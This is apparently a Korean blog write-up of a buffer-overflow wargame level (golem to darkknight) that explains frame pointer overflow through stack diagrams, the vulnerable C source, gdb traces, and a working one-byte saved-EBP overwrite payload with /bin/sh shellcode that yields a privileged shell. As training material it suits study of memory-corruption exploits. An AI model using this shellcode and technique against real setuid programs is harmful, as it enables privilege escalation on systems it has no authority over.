[12] golem -> darkknight ( Frame Pointer Overflow )

2017. 11. 17. 13:19SystemHacking/LOB(BOF원정대)


golem / cup of coffee

[golem@localhost golem]$ /bin/bash2

[golem@localhost golem]$ export SHELL=/bin/bash2



[1] FPO ( Frame Pointer Overflow ) 조건

1. 1byte의 오버 플로우가 일어나야 한다    ( saved ebp 의 값을 변조하여 함수의 실행 루틴을 바꿀 수 있다 )

2. 메인 함수 이외의 서브 함수가 반드시 필요하다 

2.1. leave & ret 의 실행이 두 번 일어나야 한다 ( leave = mov esp,ebp & pop ebp / ret = pop eip )

2.2. sub's leave : pop ebp => EBP = Fake ebp

2.3. sub's ret : pop eip => main의 루틴으로 이동

2.4. main's leave : mov esp,ebp : SFP는 ebp(fake ebp)에 위치하게 된다

2.5. main's ret : pop eip : EIP레지스터에는 ebp+4 지점의 값이 들어가고 실행된다 ( ebp+4 지점은 shellcode주소 )


[2] FPO 원리

기존에 우리가 알고 있었던 가장 간단한 스택 구조를 보면 다음과 같다

프로그램에 메인 함수만 있을 때의 구조입니다


 saved ebp

 saved eip

 argc

 argv[0]

 argv[1] 



여기에 메인 함수에서 서브함수를 호출하는 경우를 생각해봅시다

어셈블리 명령어를 숙지 하고 있어야 이해할 수 있습니다 

함수를 호출할 때에는 " call " 명령어를 사용합니다 ( function = 서브함수로 명명하고 설명하겠다 )

* call function    : 실제로 push eip + jmp &function 이 실행된다 ㅡ ①

function 의 주소로 이동되고 function함수의 프롤로그 부분이 실행된다

* push ebp     ㅡ ②

* mov ebp,esp ㅡ③

스택의 구조를 그려보겠습니다

 

 saved ebp    ② func's ebp        ---- 스택프레임(SFP)은 이곳에 위치하고 있다 ③

 saved eip     ① func's eip

 saved ebp    main's ebp

 saved eip     main's eip

 argc

 argv[0]

 argv[1]



그리고 만약 서브함수가 인자를 사용하는 경우에 스택 구조는 다음과 같습니다


 saved ebp     ② func's ebp        ---- 스택프레임(SFP)은 이곳에 위치하고 있다 ③

 saved eip     ① func's eip

 argv          fun's first argv

 ....                ....

 saved ebp     main's ebp

 saved eip     main's eip

 argc

 argv[0]

 argv[1]


* 함수는 인자를 사용할 때 ebp+8 지점에 있는 값부터 4byte씩 순서대로 인자로 사용한다




[3] 문제적용

실제 문제를 보면서 스택구조를 그려보겠습니다

[ darkknight.c ]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
 
/*
        The Lord of the BOF : The Fellowship of the BOF
        - darkknight
        - FPO
*/
 
#include <stdio.h>
#include <stdlib.h>
 
void problem_child(char *src)
{
        char buffer[40];
        strncpy(buffer, src, 41);
        printf("%s\n", buffer);
}
 
main(int argc, char *argv[])
{
        if(argc<2){
                printf("argv error\n");
                exit(0);
        }
 
        problem_child(argv[1]);
}
 
cs


[ gdb 분석 ]

0x8048498 <main+44>:    push   %edx <-- argv[1]

0x8048499 <main+45>:    call   0x8048440 <problem_child>

=> push eip            ⓛ

=> jmp 0x8048440

[ prologue ]
0x8048440 <problem_child>:      push   %ebp        
0x8048441 <problem_child+1>:    mov    %ebp,%esp

.... ( 중간과정 생략 ) ....
[ epilogue ]
0x8048469 <problem_child+41>:   leave
                                                => mov esp,ebp
                                                => pop ebp
0x804846a <problem_child+42>:   ret
                                                => pop eip


[ Stack 구조 ]

saved ebp     ② p_child's ebp    <-- &shellcode - 4 로 변조할 것이다 why ??

saved eip      ① p_child's eip    

*argv            &argv[1]

saved ebp

saved eip

argc

argv[0]

argv[1]

...


p_child 서브함수의 마지막 에필로그 부분의 실행 과정을 살펴보면 다음과 같습니다

1> leave    : mov esp,ebp + pop ebp

=> 할당했던 변수들의 공간을 모두 회수 / 스택에 저장한 saved ebp를 EBP레지스터에 저장한다

( saved ebp는 우리가 변조할 주소입니다 )

2> ret    : pop eip

=> SPF 는 pop ebp 를 수행한 다음 그 아래에 위치하게 됩니다. 즉, saved ebp 바로 아래 ( ebp+4 지점 )인 saved eip입니다

=> pop eip에 의해서 EIP레지스터에는 saved eip에 저장되어 있었던 값이 저장됩니다


[ 에필로그 과정에서 SFP의 동작 원리 ] ★★

leave에 의해서 SFP는 "saved ebp"가 저장된 스택주소에 위치하게 되고 pop ebp를 수행하고 ebp+4 지점에 위치하게된다

즉, saved ebp의 값을 &Shellcode - 4 주소로 변조한다면 EIP레지스터에는 &Shellcode가 들어가게된다



[ 실제 문제 풀이 ]

[golem@localhost golem]$ cp darkknight darkknight.cp

[golem@localhost golem]$ gdb -q darkknight.cp

(gdb) set disassembly-flavor intel

(gdb) disas problem_child

Dump of assembler code for function problem_child:

0x8048440 <problem_child>:      push   %ebp

0x8048441 <problem_child+1>:    mov    %ebp,%esp

.... ( 생략 ) ....

0x8048469 <problem_child+41>:   leave

0x804846a <problem_child+42>:   ret

0x804846b <problem_child+43>:   nop

End of assembler dump.

(gdb) b *0x8048469

Breakpoint 1 at 0x8048469


(gdb) run $(python -c 'print "\x90"*16 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" +"\xb4"')

Starting program: /home/golem/darkknight.cp $(python -c 'print "\x90"*16 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" +"\xb4"')

▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒1▒Ph//shh/bin▒▒PS▒ᙰ

                                   ̀▒▒▒▒▒N▒▒▒▒▒▒ @

Breakpoint 1, 0x8048469 in problem_child ()

(gdb) x/24x $ebp-40

< buffer 40byte >

0xbffffab4:     0x90909090      0x90909090      0x90909090      0x90909090    

0xbffffac4:     0x6850c031      0x68732f2f      0x69622f68      0x50e3896e

0xbffffad4:     0x99e18953      0x80cd0bb0      0xbffffab4      0x0804849e      

변조된 saved ebp : 0xbffffab4 (&buffer) 를 저장하고 있다

< 쉘 코드의 실행원리 > : 함수의 에필로그 부분에서 이루어진다

mov esp,ebp / pop ebp    child's leave     => EBP = Fake ebp 적용

pop eip                         child's ret

mov esp,ebp / pop ebp    main's leave

pop eip                         main's ret        => EIP = ebp + 4 적용

* ebp + 4 지점은 쉘코드가 저장된 주소이다 !!


[ payload작성 ]

[golem@localhost golem]$ ./darkknight $(python -c 'print "\x90"*16 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "\xb8"')

▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒1▒Ph//shh/bin▒▒PS▒ᙰ

                                   ̀▒▒▒▒▒L▒▒▒▒▒▒▒        @

Segmentation fault


=> 보정작업


[golem@localhost golem]$ ./darkknight $(python -c 'print "\x90"*16 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "\xa8"')

▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒1▒Ph//shh/bin▒▒PS▒ᙰ

                                   ̀▒▒▒▒▒L▒▒▒▒▒▒▒        @

bash$ id

uid=511(golem) gid=511(golem) euid=512(darkknight) egid=512(darkknight) groups=511(golem)

bash$ whoami

darkknight

bash$ my-pass

euid = 512

new attacker

bash$